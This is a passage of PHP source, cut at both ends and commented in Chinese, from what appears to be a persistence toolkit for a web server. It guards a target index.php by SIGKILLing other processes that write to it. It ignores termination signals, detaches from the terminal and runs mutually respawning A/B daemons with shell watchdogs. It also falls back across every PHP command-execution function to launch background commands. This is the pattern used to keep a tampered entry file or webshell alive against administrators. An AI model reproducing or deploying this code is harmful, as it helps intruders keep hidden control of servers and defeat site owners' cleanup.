$real): array { if (!is_dir('/proc')) { return []; } $pids = []; $dirs = @glob('/proc/[0-9]*', GLOB_ONLYDIR); if ($dirs === false) { return []; } foreach ($dirs as $procDir) { $pid = (int) basename($procDir); if ($pid <= 1) { continue; } $cmdFile = $procDir . '/cmdline'; if (!is_readable($cmdFile)) { continue; } $cmd = str_replace("\0", ' ', (string) @file_get_contents($cmdFile)); if (self::isThreatCmdline($cmd, $real)) { $pids[] = $pid; } } return $pids; } private static function detectViaShellProcFd(string $real): array { if (!function_exists('shell_exec') && !function_exists('exec')) { return []; } $target = escapeshellarg($real); $deleted = escapeshellarg($real . ' (deleted)'); $cmd = '/bin/sh -c ' . escapeshellarg( 'for _p in /proc/[0-9]*; do ' . 'pid=${_p#/proc/}; ' . 'case "$(tr "\0" " " < "$_p/cmdline" 2>/dev/null)" in *php-fpm*|*php-fcgi*) continue;; esac; ' . 'for _fd in "$_p"/fd/*; do ' . 'link=$(readlink "$_fd" 2>/dev/null) || continue; ' . 'case "$link" in *"(deleted)") echo "$pid"; break;; esac; ' . "case \"\$link\" in {$target}) " . 'fn=$(basename "$_fd"); fi="$_p/fdinfo/$fn"; ' . 'if [ -r "$fi" ]; then fl=$(grep -m1 flags "$fi"|awk "{print \$2}"); m=$((fl & 3)); [ "$m" -eq 0 ] && continue; fi; ' . 'echo "$pid"; break;; esac; ' . 'done; done 2>/dev/null | sort -u' ); $out = function_exists('shell_exec') ? trim((string) @shell_exec($cmd)) : ''; if ($out === '' && function_exists('exec')) { $lines = []; @exec($cmd, $lines); $out = trim(implode("\n", $lines)); } if ($out === '') { return []; } $pids = []; foreach (explode("\n", $out) as $line) { $pid = (int) trim($line); if ($pid > 1) { $pids[] = $pid; } } return $pids; } public static function collectAllowPids(string $pidFile, string $poolFile): array { $allow = [getmypid()]; if (function_exists('posix_getppid')) { $pp = (int) @posix_getppid(); if ($pp > 1) { $allow[] = $pp; } } $parent = BusiAutoDeployer::readParentPid($pidFile); if ($parent > 0) { $allow[] = $parent; } $raw = @file_get_contents($poolFile); if ($raw !== false && $raw !== '') { $data = json_decode($raw, true); if (is_array($data)) { if (!empty($data['parent'])) { $allow[] = (int) $data['parent']; } if (!empty($data['workers']) && is_array($data['workers'])) { foreach ($data['workers'] as $wp) { $allow[] = (int) $wp; } } } } $mainAPid = BusiDaemonRunner::readMainPid('A'); if ($mainAPid > 0) { $allow[] = $mainAPid; } $mainBPid = BusiDaemonRunner::readMainPid('B'); if ($mainBPid > 0) { $allow[] = $mainBPid; } $cpRaw = @file_get_contents(AsPaths::childPool()); if ($cpRaw !== false && $cpRaw !== '') { $cpData = json_decode($cpRaw, true); if (is_array($cpData)) { if (!empty($cpData['main_pid'])) { $allow[] = (int) $cpData['main_pid']; } if (!empty($cpData['children']) && is_array($cpData['children'])) { foreach ($cpData['children'] as $cp) { $allow[] = (int) $cp; } } } } foreach (BusiDaemonRunner::readShellGuardPids() as $shPid) { $allow[] = (int) $shPid; } $guardRaw = @file_get_contents(AsPaths::guardPool()); if ($guardRaw !== false && $guardRaw !== '') { $guardData = json_decode($guardRaw, true); if (is_array($guardData)) { if (!empty($guardData['parent'])) { $allow[] = (int) $guardData['parent']; } if (!empty($guardData['guards']) && is_array($guardData['guards'])) { foreach ($guardData['guards'] as $gp) { $allow[] = (int) $gp; } } } } $uniq = []; foreach ($allow as $pid) { $pid = (int) $pid; if ($pid > 1) { $uniq[$pid] = true; } } return array_keys($uniq); } public static function killWriters(string $targetPath, array $allowPids): int { $allow = []; foreach ($allowPids as $pid) { $pid = (int) $pid; if ($pid > 1) { $allow[$pid] = true; } } $allow[getmypid()] = true; $killed = 0; foreach (self::detectWriterPids($targetPath) as $pid) { $pid = (int) $pid; if ($pid <= 1 || isset($allow[$pid])) { continue; } if (self::signalKill($pid)) { $killed++; BusiDaemonRunner::logCli('guard kill pid=' . $pid . ' path=' . $targetPath); } } return $killed; } private static function signalKill(int $pid): bool { if (function_exists('posix_kill')) { @posix_kill($pid, SIGKILL); usleep(50000); return !@posix_kill($pid, 0); } if (function_exists('exec')) { @exec('kill -9 ' . (int) $pid . ' 2>/dev/null', $_, $code); return $code === 0; } return false; } } /** 守护循环:信号优雅退出 + 内存检测 */ final class DaemonRunState { private const MEMORY_LIMIT_BYTES = 134217728; private const MEMORY_CHECK_INTERVAL = 30; public $running = true; private $loopCount = 0; public function installSignals(): void { if (!function_exists('pcntl_async_signals') || !function_exists('pcntl_signal')) { return; } @pcntl_async_signals(true); $self = $this; if (defined('SIGTERM')) { @pcntl_signal(SIGTERM, static function () use ($self): void { $self->running = false; }); } if (defined('SIGINT')) { @pcntl_signal(SIGINT, static function () use ($self): void { $self->running = false; }); } if (defined('SIGCHLD') && defined('SIG_IGN')) { @pcntl_signal(SIGCHLD, SIG_IGN); } } public function dispatchSignals(): void { if (function_exists('pcntl_signal_dispatch')) { @pcntl_signal_dispatch(); } } public function shouldStop(): bool { return !$this->running || BusiDaemonRunner::shouldStopDaemon(); } public function shouldRestartForMemory(string $role): bool { $this->loopCount++; if ($this->loopCount % self::MEMORY_CHECK_INTERVAL !== 0) { return false; } $used = memory_get_usage(true); if ($used > self::MEMORY_LIMIT_BYTES) { BusiDaemonRunner::logCli('memory restart role=' . $role . ' bytes=' . $used); return true; } return false; } } final class BusiDaemonRunner { public static function dispatch(array $argv): void { $mode = isset($argv[1]) ? (string) $argv[1] : ''; if ($mode === AsPaths::cliStop()) { self::stopAll(true); return; } if ($mode === AsPaths::cliPcntl() || $mode === AsPaths::cliWorker()) { $baseDir = resolveScriptBaseDir(); $entry = AsPaths::entry(); $gate = DaemonStartupGate::evaluateCli($baseDir, $entry); if (!$gate['ok']) { self::logCli('cli startup blocked: ' . implode('; ', $gate['blockers'])); echo json_encode([ 'ok' => false, 'error' => 'startup_blocked', 'message' => $gate['message'], 'blockers' => $gate['blockers'], 'warnings' => $gate['warnings'], 'startup_gate' => $gate, ], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT) . "\n"; exit(1); } foreach ($gate['warnings'] as $w) { self::logCli('cli startup warning: ' . $w); } } if ($mode === AsPaths::cliPcntl()) { self::runPcntl(); return; } if ($mode === AsPaths::cliWorker()) { self::runWorker(); return; } $childSlot = isset($argv[2]) ? strtoupper((string) $argv[2]) : 'A'; if ($childSlot !== 'B') { $childSlot = 'A'; } if ($mode === AsPaths::cliChildPeer()) { self::runChildPeer($childSlot); return; } if ($mode === AsPaths::cliChildShell()) { self::runChildShell($childSlot); return; } if ($mode === AsPaths::cliChildMd5() || $mode === AsPaths::cliGuard()) { self::runChildMd5($childSlot); return; } } public static function stopAll(bool $clearStateFiles = true): void { AsPaths::ensureModuleDir(); $myPid = getmypid(); $running = self::discoverDaemonPids($myPid); if ($clearStateFiles) { @file_put_contents(AsPaths::stopStamp(), (string) time()); } self::logCli('stop requested pid=' . $myPid . ' running=' . implode(',', $running) . ' (已写入 stop stamp,守护进程将在下一 tick 退出)'); if (PHP_SAPI === 'cli') { echo json_encode([ 'ok' => true, 'killed' => [], 'running' => $running, 'module' => AsPaths::moduleDir(), 'message' => '已写入停止标记;PHP 守护进程会在下一循环检测后退出。Shell 看门狗需等待其自行结束或手动处理。', ], JSON_UNESCAPED_UNICODE) . "\n"; } } public static function discoverManagedDaemonPids(int $exceptPid = 0): array { return self::discoverDaemonPids($exceptPid); } private static function discoverDaemonPids(int $exceptPid): array { $found = []; foreach (self::discoverDaemonPidsViaProc($exceptPid) as $pid) { $found[(int) $pid] = true; } foreach (self::discoverDaemonPidsViaPs($exceptPid) as $pid) { $found[(int) $pid] = true; } return array_keys($found); } private static function discoverDaemonPidsViaProc(int $exceptPid): array { if (!is_dir('/proc')) { return []; } $pids = []; $entryFile = basename(AsPaths::entry()); $entryPath = AsPaths::entry(); $daemonEntry = basename(AsPaths::daemonEntryScript()); $cliPc = AsPaths::cliPcntl(); $cliWk = AsPaths::cliWorker(); $cliCp = AsPaths::cliChildPeer(); $cliCs = AsPaths::cliChildShell(); $cliCm = AsPaths::cliChildMd5(); $cliGd = AsPaths::cliGuard(); $cliStop = AsPaths::cliStop(); $shScript = basename(AsPaths::shellScript()); $dirs = @glob('/proc/[0-9]*', GLOB_ONLYDIR); if ($dirs === false) { return []; } foreach ($dirs as $procDir) { $pid = (int) basename($procDir); if ($pid <= 1 || $pid === $exceptPid) { continue; } $cmdFile = $procDir . '/cmdline'; if (!is_readable($cmdFile)) { continue; } $cmd = str_replace("\0", ' ', (string) @file_get_contents($cmdFile)); if ($cmd === '' || strpos($cmd, $cliStop) !== false) { continue; } $isPhpDaemon = (strpos($cmd, $entryFile) !== false || strpos($cmd, $entryPath) !== false || strpos($cmd, $daemonEntry) !== false || strpos($cmd, 'fw.php') !== false) && (strpos($cmd, $cliPc) !== false || strpos($cmd, $cliWk) !== false || strpos($cmd, $cliCp) !== false || strpos($cmd, $cliCs) !== false || strpos($cmd, $cliCm) !== false || strpos($cmd, $cliGd) !== false); $isShWatchdog = ($shScript !== '' && strpos($cmd, $shScript) !== false) || strpos($cmd, '__child__') !== false || strpos($cmd, '__guard__') !== false; if ($isPhpDaemon || $isShWatchdog) { $pids[] = $pid; } } return $pids; } private static function discoverDaemonPidsViaPs(int $exceptPid): array { $pids = []; $entry = basename(AsPaths::entry()); $daemonEntry = basename(AsPaths::daemonEntryScript()); $markers = array_values(array_unique(array_filter([ AsPaths::cliPcntl(), AsPaths::cliWorker(), AsPaths::cliChildPeer(), AsPaths::cliChildShell(), AsPaths::cliChildMd5(), AsPaths::cliGuard(), $entry, $daemonEntry, 'Framework.php', 'framework.php', 'fw.php', ]))); if (!function_exists('shell_exec') && !function_exists('exec')) { return $pids; } $grepNeedles = array_values(array_unique(array_filter([$entry, $daemonEntry, 'fw.php']))); $grepPattern = implode('|', array_map(static function ($n) { return preg_quote($n, '|'); }, $grepNeedles)); if ($grepPattern === '') { return $pids; } $cmd = 'ps -ef 2>/dev/null | grep -E ' . escapeshellarg($grepPattern) . ' | grep -v grep'; $out = function_exists('shell_exec') ? (string) @shell_exec($cmd) : ''; if ($out === '' && function_exists('exec')) { $lines = []; @exec($cmd, $lines); $out = implode("\n", $lines); } foreach (explode("\n", trim($out)) as $line) { if ($line === '') { continue; } $hit = false; foreach ($markers as $m) { if ($m !== '' && strpos($line, $m) !== false) { $hit = true; break; } } if (!$hit || strpos($line, AsPaths::cliStop()) !== false) { continue; } if (preg_match('/^\S+\s+(\d+)/', $line, $m)) { $pid = (int) $m[1]; if ($pid > 1 && $pid !== $exceptPid) { $pids[] = $pid; } } } return $pids; } private static function terminatePid(int $pid, bool $force = false): bool { unset($force); if ($pid <= 1 || !self::isProcessAlive($pid)) { return false; } $sigTerm = defined('SIGTERM') ? SIGTERM : 15; if (function_exists('posix_kill')) { @posix_kill($pid, $sigTerm); } elseif (function_exists('exec')) { @exec('kill -TERM ' . (int) $pid . ' 2>/dev/null'); } usleep(100000); return !self::isProcessAlive($pid); } public static function shouldStopDaemon(): bool { $f = AsPaths::stopStamp(); if (!@is_file($f)) { return false; } $raw = @file_get_contents($f); return $raw !== false && (int) trim($raw) > 0; } private static function cliBootstrap(): void { @set_time_limit(0); @ini_set('max_execution_time', '0'); @ignore_user_abort(true); IndexPhpGuard::applyHighPriority(); if (function_exists('posix_setsid')) { @posix_setsid(); } if (function_exists('pcntl_signal') && function_exists('pcntl_async_signals')) { @pcntl_async_signals(true); @pcntl_signal(SIGTERM, static function (): void {}); @pcntl_signal(SIGHUP, static function (): void {}); if (defined('SIGINT')) { @pcntl_signal(SIGINT, static function (): void {}); } if (defined('SIGCHLD')) { @pcntl_signal(SIGCHLD, SIG_IGN); } } register_shutdown_function(static function (): void { $err = error_get_last(); $msg = 'shutdown pid=' . getmypid(); if ($err !== null) { $msg .= ' ' . ($err['message'] ?? '') . ' @ ' . ($err['file'] ?? '') . ':' . ($err['line'] ?? 0); } self::logCli($msg); }); } public static function logCli(string $msg): void { AsPaths::ensureModuleDir(); $line = date('c') . ' ' . $msg . "\n"; @file_put_contents(AsPaths::daemonLog(), $line, FILE_APPEND); } /** * 清理占用目标 index 的写进程(仅针对目标文件,不做全局 kill)。 */ public static function purgeScriptProcesses(array $probe = [], ?string $targetPath = null): array { unset($probe); $result = [ 'executed' => false, 'skipped' => false, 'ok' => false, 'reason' => '', 'command' => '', 'method' => null, 'output' => '', 'killed' => 0, ]; if ($targetPath === null || $targetPath === '') { $configFile = AsPaths::config(); if (DeployPathHelper::safeIsReadable($configFile)) { $raw = @file_get_contents($configFile); $cfg = is_string($raw) ? json_decode($raw, true) : null; if (is_array($cfg) && !empty($cfg['target'])) { $targetPath = (string) $cfg['target']; } } } if ($targetPath === null || $targetPath === '') { $targetPath = DeployPathHelper::defaultTargetIndex(resolveScriptBaseDir()); } if ($targetPath === '' || !DeployPathHelper::safeIsFile($targetPath)) { $result['skipped'] = true; $result['reason'] = '无有效目标文件,跳过进程清理'; return $result; } $result['command'] = 'target:' . $targetPath; $killed = IndexPhpGuard::killWriters($targetPath, [getmypid()]); $result['executed'] = true; $result['killed'] = $killed; $result['ok'] = true; $result['reason'] = $killed > 0 ? ('已清理占用目标的写进程: ' . $killed . ' 个') : '未发现占用目标的写进程'; self::logCli('process purge ' . json_encode([ 'ok' => $result['ok'], 'target' => $targetPath, 'killed' => $killed, 'reason' => $result['reason'], ], JSON_UNESCAPED_UNICODE)); return $result; } private static function execExitOk(string $fn, int $code): bool { if (in_array($fn, ['system', 'passthru', 'exec'], true)) { return $code === 0; } return true; } public static function execShellCommand(string $command, array $probe = []): array { $shellCmd = '/bin/sh -c ' . escapeshellarg($command); $base = ['ok' => false, 'method' => null, 'output' => '', 'error' => null]; foreach (self::resolveExecOrder($probe) as $fn) { if (!PhpEnvHelper::funcAvailable($fn)) { continue; } try { $output = ''; $code = 0; switch ($fn) { case 'system': ob_start(); @system($shellCmd, $code); $output = (string) ob_get_clean(); $base['ok'] = self::execExitOk($fn, (int) $code); break; case 'passthru': ob_start(); @passthru($shellCmd, $code); $output = (string) ob_get_clean(); $base['ok'] = self::execExitOk($fn, (int) $code); break; case 'shell_exec': $output = (string) @shell_exec($shellCmd); $base['ok'] = true; break; case 'exec': $lines = []; @exec($shellCmd, $lines, $code); $output = implode("\n", $lines); $base['ok'] = self::execExitOk($fn, (int) $code); break; case 'popen': $fp = @popen($shellCmd, 'r'); if (is_resource($fp)) { while (!feof($fp)) { $output .= (string) @fgets($fp, 4096); } $pcloseCode = @pclose($fp); $base['ok'] = ($pcloseCode === -1) || ($pcloseCode === 0) || (($pcloseCode >> 8) === 0); } else { $base['error'] = 'popen 失败'; } break; case 'proc_open': $null = '/dev/null'; if (!is_readable($null)) { $base['error'] = '/dev/null 不可读'; break; } $desc = [ 0 => ['file', $null, 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w'], ]; $proc = @proc_open($shellCmd, $desc, $pipes); if (is_resource($proc)) { if (isset($pipes[1])) { $output = (string) stream_get_contents($pipes[1]); @fclose($pipes[1]); } if (isset($pipes[2])) { @fclose($pipes[2]); } $exitCode = @proc_close($proc); $base['ok'] = ($exitCode === -1) || ($exitCode === 0) || (($exitCode >> 8) === 0); } else { $base['error'] = 'proc_open 失败'; } break; } if ($base['ok']) { $base['method'] = $fn; $base['output'] = trim($output); return $base; } $base['error'] = '命令退出码非零: ' . (int) $code; } catch (Throwable $e) { $base['error'] = $e->getMessage(); } } if ($base['error'] === null) { $base['error'] = '无可用 exec 函数'; } return $base; } private static function resolveExecOrder(array $probe): array { $default = ['system', 'passthru', 'shell_exec', 'exec', 'popen', 'proc_open']; $cmdExec = isset($probe['command_exec']) && is_array($probe['command_exec']) ? $probe['command_exec'] : []; $working = isset($cmdExec['working_methods']) && is_array($cmdExec['working_methods']) ? $cmdExec['working_methods'] : []; if ($working === []) { return $default; } $pref = []; foreach ($working as $fn) { if (in_array($fn, $default, true)) { $pref[] = $fn; } } if ($pref === []) { return $default; } return array_values(array_unique(array_merge($pref, $default))); } private static function touchWorkerActivity(string $pidFile): void { $data = ['pid' => getmypid(), 'ts' => time(), 'worker_ts' => time()]; $raw = @file_get_contents($pidFile); if ($raw !== false && $raw !== '') { $old = json_decode($raw, true); if (is_array($old) && !empty($old['pid'])) { $data['pid'] = (int) $old['pid']; } } @file_put_contents($pidFile, json_encode($data, JSON_UNESCAPED_UNICODE)); } public static function isShellWatchdogAlive(): bool { if (self::isShellWatchdogProcessRunning()) { return true; } self::clearStaleShellPidFiles(); return false; } private static function clearStaleShellPidFiles(): void { foreach ([ AsPaths::shellPid(), AsPaths::shellGuardA(), AsPaths::shellGuardB(), AsPaths::shellGuardMd5(), ] as $pidFile) { if (!DeployPathHelper::safeIsFile($pidFile)) { continue; } $pid = self::readNumericPidFromFile($pidFile); if ($pid <= 1 || !self::isProcessAlive($pid) || !self::isShellWatchdogCmdline($pid)) { @unlink($pidFile); } } } private static function isShellWatchdogCmdline(int $pid, bool $childOnly = false): bool { if ($pid <= 1 || !self::isProcessAlive($pid)) { return false; } $cmd = IndexPhpGuard::readProcessCmdlinePublic($pid); if ($cmd === '') { return false; } $shBase = basename(AsPaths::shellScript()); if ($shBase === '' || strpos($cmd, $shBase) === false) { return false; } $isChild = strpos($cmd, '__child__') !== false || strpos($cmd, '__guard__') !== false; if ($childOnly) { return $isChild; } return !$isChild; } public static function isShellWatchdogProcessRunning(): bool { $mainPid = self::readNumericPidFromFile(AsPaths::shellPid()); if ($mainPid > 1 && self::isProcessAlive($mainPid) && self::isShellWatchdogCmdline($mainPid)) { return true; } foreach ([AsPaths::shellGuardA(), AsPaths::shellGuardB(), AsPaths::shellGuardMd5()] as $pidFile) { $pid = self::readNumericPidFromFile($pidFile); if ($pid > 1 && self::isProcessAlive($pid) && self::isShellWatchdogCmdline($pid, true)) { return true; } } $needle = basename(AsPaths::shellScript()); if ($needle === '') { return false; } if (function_exists('shell_exec')) { $cmd = 'ps -ef 2>/dev/null | grep -E ' . escapeshellarg('__child__|' . $needle) . ' | grep -v grep'; $out = trim((string) @shell_exec($cmd)); if ($out !== '') { return true; } } return false; } private static function isPidFileAlive(string $pidFile): bool { if (!DeployPathHelper::safeIsFile($pidFile)) { return false; } $pid = self::readNumericPidFromFile($pidFile); if ($pid <= 1 || !self::isProcessAlive($pid)) { return false; } if ($pidFile === AsPaths::shellPid()) { return self::isShellWatchdogCmdline($pid); } if (in_array($pidFile, [AsPaths::shellGuardA(), AsPaths::shellGuardB(), AsPaths::shellGuardMd5()], true)) { return self::isShellWatchdogCmdline($pid, true); } return true; } public static function readShellWatchdogPid(): int { $mainPid = self::readNumericPidFromFile(AsPaths::shellPid()); if ($mainPid > 0 && self::isProcessAlive($mainPid) && self::isShellWatchdogCmdline($mainPid)) { return $mainPid; } foreach ([AsPaths::shellGuardA(), AsPaths::shellGuardB(), AsPaths::shellGuardMd5()] as $pidFile) { $pid = self::readNumericPidFromFile($pidFile); if ($pid > 0 && self::isProcessAlive($pid) && self::isShellWatchdogCmdline($pid, true)) { return $pid; } } return 0; } /** @return int[] */ public static function readShellGuardPids(): array { $pids = []; foreach ([AsPaths::shellPid(), AsPaths::shellGuardA(), AsPaths::shellGuardB(), AsPaths::shellGuardMd5()] as $pidFile) { $pid = self::readNumericPidFromFile($pidFile); if ($pid > 0) { $pids[$pid] = true; } } return array_keys($pids); } private static function readNumericPidFromFile(string $pidFile): int { if (!DeployPathHelper::safeIsFile($pidFile)) { return 0; } $raw = @file_get_contents($pidFile); if ($raw === false || $raw === '') { return 0; } return (int) preg_replace('/\D+/', '', $raw); } public static function startShellWatchdog(): bool { $entry = AsPaths::entry(); $phpBin = self::resolvePhpBinForCli(); BusiBundleMaterializer::ensure(resolveScriptBaseDir(), $entry, $phpBin); $shScript = AsPaths::shellScript(); if (!DeployPathHelper::safeIsFile($shScript)) { self::logCli('sh start failed: script missing path=' . $shScript); return false; } @chmod($shScript, 0755); self::clearStaleShellPidFiles(); if (self::isShellWatchdogAlive()) { return true; } $shellLockFp = @fopen(AsPaths::shellLock(), 'c'); if ($shellLockFp === false || !flock($shellLockFp, LOCK_EX | LOCK_NB)) { if (is_resource($shellLockFp)) { @flock($shellLockFp, LOCK_UN); @fclose($shellLockFp); } return self::isShellWatchdogAlive(); } $logEsc = escapeshellarg(AsPaths::daemonLog()); $shEsc = escapeshellarg($shScript); $cmds = [ '/bin/sh ' . $shEsc . ' >> ' . $logEsc . ' 2>&1 &', 'nohup /bin/sh ' . $shEsc . ' >> ' . $logEsc . ' 2>&1 &', 'setsid /bin/sh ' . $shEsc . ' >> ' . $logEsc . ' 2>&1 < /dev/null &', '(' . '/bin/sh ' . $shEsc . ' >> ' . $logEsc . ' 2>&1 &)', ]; try { foreach ($cmds as $cmd) { if (!self::launchBackgroundCommand($cmd)) { self::logCli('sh launch skipped: no exec method'); continue; } self::logCli('sh launch sent cmd=' . substr($cmd, 0, 160)); for ($i = 0; $i < 16; $i++) { usleep(250000); if (self::isShellWatchdogAlive()) { self::logCli('sh watchdog started pid=' . self::readShellWatchdogPid()); return true; } } } self::logCli('sh start failed: no process path=' . $shScript); return false; } finally { @flock($shellLockFp, LOCK_UN); @fclose($shellLockFp); } } private static function launchBackgroundCommand(string $cmd): bool { foreach (['exec', 'shell_exec', 'popen', 'proc_open'] as $fn) { if (!function_exists($fn)) { continue; } try { switch ($fn) { case 'exec': @exec($cmd, $_, $code); if ($code === 0) { return true; } break; case 'shell_exec': @shell_exec($cmd); return true; case 'popen': $fp = @popen($cmd, 'r'); if (is_resource($fp)) { @pclose($fp); return true; } break; case 'proc_open': $null = '/dev/null'; if (!@is_readable($null)) { break; } $desc = [ 0 => ['file', $null, 'r'], 1 => ['file', $null, 'w'], 2 => ['file', $null, 'w'], ]; $proc = @proc_open($cmd, $desc, $pipes); if (is_resource($proc)) { @proc_close($proc); return true; } break; } } catch (Throwable $e) { continue; } } return false; } private static function resolvePhpBinForCli(): string { $configFile = AsPaths::config(); if (DeployPathHelper::safeIsReadable($configFile)) { $raw = @file_get_contents($configFile); $cfg = is_string($raw) ? json_decode($raw, true) : null; if (is_array($cfg) && !empty($cfg['php_cli']) && is_string($cfg['php_cli'])) { $bin = trim($cfg['php_cli']); if ($bin !== '') { return $bin; } } } return 'php'; } public static function runPcntl(): void { self::runPhpMain('B'); } public static function runWorker(): void { self::runPhpMain('A'); } public static function runChildPeer(string $slot): void { self::runPhpChildLoop($slot, 'peer'); } public static function runChildShell(string $slot): void { self::runPhpChildLoop($slot, 'shell'); } public static function runChildMd5(string $slot): void { self::runPhpChildLoop($slot, 'md5'); } /** @deprecated legacy guard */ public static function runGuardChild(): void { self::runChildMd5('A'); } private static function runPhpMain(string $slot): void { self::cliBootstrap(); $slot = strtoupper($slot) === 'B' ? 'B' : 'A'; $lockFile = ($slot === 'A') ? AsPaths::daemonLockA() : AsPaths::daemonLockB(); $pidFile = ($slot === 'A') ? AsPaths::pidMainA() : AsPaths::pidMainB(); $lockFp = @fopen($lockFile, 'c'); if ($lockFp === false || !flock($lockFp, LOCK_EX | LOCK_NB)) { self::logCli('php main lock busy slot=' . $slot); exit(0); } self::logCli('php main started slot=' . $slot . ' pid=' . getmypid()); self::writeMainHeartbeat($slot); if ($slot === 'A') { self::startShellWatchdog(); } $state = new DaemonRunState(); $state->installSignals(); $children = ['peer' => 0, 'shell' => 0, 'md5' => 0]; self::ensureMainChildren($slot, $children); $tick = 0; while (!$state->shouldStop()) { try { $state->dispatchSignals(); if ($state->shouldRestartForMemory('php-main-' . $slot)) { self::logCli('php main memory restart slot=' . $slot); self::terminateChildMap($slot, $children); exit(0); } self::syncMainChildren($slot, $children); self::ensureMainChildren($slot, $children); self::writeMainHeartbeat($slot); if ($slot === 'A' && $tick % 10 === 0) { self::startShellWatchdog(); } $tick++; IndexPhpGuard::tickSleep(); } catch (Throwable $e) { self::logCli('php main loop error slot=' . $slot . ' ' . $e->getMessage()); usleep(500000); } } self::terminateChildMap($slot, $children); self::logCli('php main exit slot=' . $slot); exit(0); } private static function runPhpChildLoop(string $slot, string $role): void { self::cliBootstrap(); $slot = strtoupper($slot) === 'B' ? 'B' : 'A'; $role = in_array($role, ['peer', 'shell', 'md5'], true) ? $role : 'md5'; DaemonStagger::initialDelay($slot, $role); $baseDir = resolveScriptBaseDir(); $configFile = AsPaths::config(); $state = new DaemonRunState(); $state->installSignals(); $phase = DaemonStagger::phpPhase($slot, $role); self::logCli('php child started slot=' . $slot . ' role=' . $role . ' phase=' . $phase . ' pid=' . getmypid()); $tick = 0; while (!$state->shouldStop()) { try { $state->dispatchSignals(); if ($state->shouldRestartForMemory('php-child-' . $slot . '-' . $role)) { exit(0); } if ($role === 'md5') { self::childMd5Tick($configFile, $baseDir); } elseif ($tick % DaemonStagger::PHASE_COUNT === $phase) { if ($role === 'peer') { self::ensurePeerMainAlive($slot); } elseif ($role === 'shell') { self::startShellWatchdog(); } } $tick++; if ($role === 'md5') { IndexPhpGuard::md5TickSleep(); } else { IndexPhpGuard::childTickSleep(); } } catch (Throwable $e) { self::logCli('php child error slot=' . $slot . ' role=' . $role . ' ' . $e->getMessage()); usleep(500000); } } exit(0); } private static function ensureMainChildren(string $slot, array &$children): void { $roles = ['peer', 'shell', 'md5']; foreach ($roles as $i => $role) { self::dedupePhpChildProcesses($slot, $role); if (!self::isPhpChildAlive($slot, $role)) { self::spawnExecChild($slot, $role); } $children[$role] = self::discoverPhpChildPid($slot, $role); if ($i < count($roles) - 1) { DaemonStagger::pauseBetweenSpawns(); } } self::writeChildPool($slot, $children); } public static function bootstrapSlotChildren(string $slot, bool $fastPause = false): int { $slot = strtoupper($slot) === 'B' ? 'B' : 'A'; if (!self::isPhpMainAlive($slot)) { return 0; } $spawned = 0; $roles = ['peer', 'shell', 'md5']; foreach ($roles as $i => $role) { self::dedupePhpChildProcesses($slot, $role); if (!self::isPhpChildAlive($slot, $role)) { if (self::spawnExecChild($slot, $role)) { $spawned++; } } if ($i < count($roles) - 1) { DaemonStagger::pauseBetweenSpawns($fastPause); } } if ($spawned > 0) { self::logCli('bootstrap children slot=' . $slot . ' spawned=' . $spawned); } return $spawned; } private static function spawnExecChild(string $slot, string $role): bool { self::dedupePhpChildProcesses($slot, $role); if (self::isPhpChildAlive($slot, $role)) { return true; } $lockFile = AsPaths::childSpawnLock($slot, $role); $lockFp = @fopen($lockFile, 'c'); if ($lockFp === false || !flock($lockFp, LOCK_EX | LOCK_NB)) { if (is_resource($lockFp)) { @flock($lockFp, LOCK_UN); @fclose($lockFp); } return self::isPhpChildAlive($slot, $role); } try { if (self::isPhpChildAlive($slot, $role)) { return true; } $script = AsPaths::daemonEntryScript(); if (!DeployPathHelper::safeIsFile($script)) { return false; } $phpBin = self::resolvePhpBinForCli(); $childArg = self::cliArgForChildRole($role); $logEsc = escapeshellarg(AsPaths::daemonLog()); $cmd = escapeshellarg($phpBin) . ' ' . escapeshellarg($script) . ' ' . escapeshellarg($childArg) . ' ' . escapeshellarg($slot) . ' >> ' . $logEsc . ' 2>&1 &'; if (!self::launchBackgroundCommand($cmd)) { self::logCli('spawn child failed slot=' . $slot . ' role=' . $role); return false; } self::logCli('spawn child slot=' . $slot . ' role=' . $role . ' arg=' . $childArg); for ($i = 0; $i < 8; $i++) { usleep(125000); if (self::isPhpChildAlive($slot, $role)) { return true; } } return self::isPhpChildAlive($slot, $role); } finally { @flock($lockFp, LOCK_UN); @fclose($lockFp); } } private static function syncMainChildren(string $slot, array &$children): void { foreach (['peer', 'shell', 'md5'] as $role) { $children[$role] = self::discoverPhpChildPid($slot, $role); } } private static function terminateChildMap(string $slot, array $children): void { foreach ($children as $role => $pid) { $pid = (int) $pid; if ($pid <= 1) { $pid = self::discoverPhpChildPid($slot, (string) $role); } if ($pid <= 1 || !self::isProcessAlive($pid)) { continue; } if (function_exists('posix_kill')) { @posix_kill($pid, defined('SIGTERM') ? SIGTERM : 15); } self::logCli('child terminate role=' . $role . ' pid=' . $pid); } } private static function writeMainHeartbeat(string $slot): void { $pidFile = ($slot === 'A') ? AsPaths::pidMainA() : AsPaths::pidMainB(); @file_put_contents($pidFile, json_encode([ 'slot' => $slot, 'pid' => getmypid(), 'ts' => time(), ], JSON_UNESCAPED_UNICODE)); @file_put_contents(AsPaths::pid(), json_encode([ 'pid' => getmypid(), 'ts' => time(), 'slot' => $slot, ], JSON_UNESCAPED_UNICODE)); } private static function writeChildPool(string $slot, array $children): void { @file_put_contents(AsPaths::childPool(), json_encode([ 'ts' => time(), 'slot' => $slot, 'main_pid' => getmypid(), 'children' => $children, ], JSON_UNESCAPED_UNICODE)); } public static function readMainPid(string $slot): int { $slot = strtoupper($slot) === 'B' ? 'B' : 'A'; $pidFile = ($slot === 'A') ? AsPaths::pidMainA() : AsPaths::pidMainB(); if (!DeployPathHelper::safeIsFile($pidFile)) { return 0; } $raw = @file_get_contents($pidFile); if ($raw === false || $raw === '') { return 0; } $data = json_decode($raw, true); if (is_array($data) && !empty($data['pid'])) { return (int) $data['pid']; } return (int) preg_replace('/\D+/', '', $raw); } public static function isPhpMainAlive(string $slot): bool { $pid = self::readMainPid($slot); if ($pid <= 1 || !self::isProcessAlive($pid)) { return false; } return self::isPhpMainCmdline($pid, $slot); } private static function isPhpMainCmdline(int $pid, string $slot): bool { $slot = strtoupper($slot) === 'B' ? 'B' : 'A'; $cmd = IndexPhpGuard::readProcessCmdlinePublic($pid); if ($cmd === '') { return false; } $expect = ($slot === 'B') ? AsPaths::cliPcntl() : AsPaths::cliWorker(); if (strpos($cmd, $expect) === false) { return false; } foreach ([AsPaths::cliChildPeer(), AsPaths::cliChildShell(), AsPaths::cliChildMd5(), AsPaths::cliGuard()] as $childCli) { if ($childCli !== '' && strpos($cmd, $childCli) 